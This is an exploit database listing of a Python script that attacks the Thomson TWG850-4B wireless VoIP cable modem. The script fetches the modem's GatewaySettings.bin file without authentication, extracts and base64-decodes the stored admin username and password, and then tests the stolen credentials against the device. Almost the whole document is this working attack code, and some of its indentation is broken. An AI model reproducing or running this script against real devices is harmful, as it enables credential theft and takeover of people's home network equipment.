Author

Glaysson dos Santos

Risk

[

Security Risk High

]

0day-ID

0day-ID-24187

Category

local exploits

Date add

02-09-2015

Platform

hardware

###############################################################################
#+-////////////////////////////////////////////////////////////////////////////
#+-
#+- Exploit Title: Thomson Wireless VoIP Cable Modem Arbitrary File Access 
#+- Date: October 22, 2013
#+- Author: Glaysson dos Santos
#+-
#+- Product: TWG850-4B Wireless VoIP Cable Modem
#+- Software Version: ST9C.05.08
#+- Hardware Version: 2.1
#+- BOOT Revision: 2.1.7i
#+- Standard Specification Compliant: DOCSIS 2.0
#+- Firmware Name: DWG850-4-9C.05.08-110217-S-1FF.bin
#+- Firmware Build Time 19:19:19 Thu Feb 17 2011
#+- Severity: High
#+-
#+-\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
################################################################################
 
 
import string
import urllib2
import sys
from time import sleep
import base64
import binascii
import os
 
save  = 'log_TWG8504B.txt'
log   = open(save,'w')
bifi  = 'GatewaySettings.bin'
refi  = 'RgComputers.asp'
R_C   = ("\033[0;31m")
G_C   = ("\033[1;32m")
D_C   = ("\033[0m"   )
 
 
def banner():
    os.system('clear')
    print "\nThomson Wireless VoIP Cable Modem DWG850 -4B (Software Version:ST9C.05.08)- Arbitrary File Read\n \
            \t- 2013 - Glaysson dos Santos (0cn1)\n\n"
 
 
def hr_data(filename, min=4):
    with open(filename, "rb") as f:
            result = ""
            for c in f.read():
                    if c in string.printable:
                        result += c
                        continue
                    if len(result) >= min:
                        yield result
                print >> log, result
                    result = ""
        print "(+)- Others Informations Extracted Saved in %s, but you've a Admin Password :D\n"%(save)
 
def checkcreds(router,username,password):
    auth_handler = urllib2.HTTPBasicAuthHandler()
    auth_handler.add_password(realm='Thomson',
                          uri   = router,
                          user  = username,
                          passwd= password)
    opener = urllib2.build_opener(auth_handler)
    try:
            urllib2.install_opener(opener)
            status = urllib2.urlopen('%s/%s'%(router,refi))
            print '(+)- [status:%s%s%s] Authenticated successfuly, Enjoy it!'%(G_C,status.code,D_C)
 
    except urllib2.URLError, e:
            if e.code == 401:
                print '(+)- [status:%s%s%s] Invalid Credentials! Try yourself in a browser.'%(R_C,e.code,D_C)
 
def checkvuln(router):
    try:
        print '(+)- Checking if target is vulnerable...'
        req = urllib2.Request('%s/%s'%(router,bifi))
        response = urllib2.urlopen(req)
        page = response.read()
        x = open(bifi,'wb')
        x.write(page)
        x.close()
        sleep(1)
        print '(+)- The target appears to be vulnerable, lets check it better!'
        print '(+)- Searching Credentials...'
        sleep(1)
        for s in hr_data(bifi):
            try:
                dec = base64.decodestring(s)
                if dec.find(':') != -1:
                    user,passwd = dec.split(':')
                    print '(+)- User: %s%s%s'%(G_C,user,D_C)
                    print '(+)- Pass: %s%s%s'%(G_C,passwd,D_C)
                     
                    print '(+)- Checking if creds are OK...'
                    checkcreds(router,user,passwd)
                     
            except(binascii.Error):
                pass
    except urllib2.URLError, e:
        print '[$] hollyshit! the target is not vuln! o.O (%s%s%s)'%(R_C,e.reason[1],D_C)
        sys.exit(1)
 
if __name__ == "__main__":
    banner()
        if len(sys.argv) != 2:
                print '[!] %sRun %s router IP%s\n'%(R_C,sys.argv[0],D_C)
                sys.exit(2)
     
        router = sys.argv[1]
        if not "http" in router:
                        router = "http://"+(sys.argv[1])
        checkvuln(router)

#  0day.today [2024-07-07]  #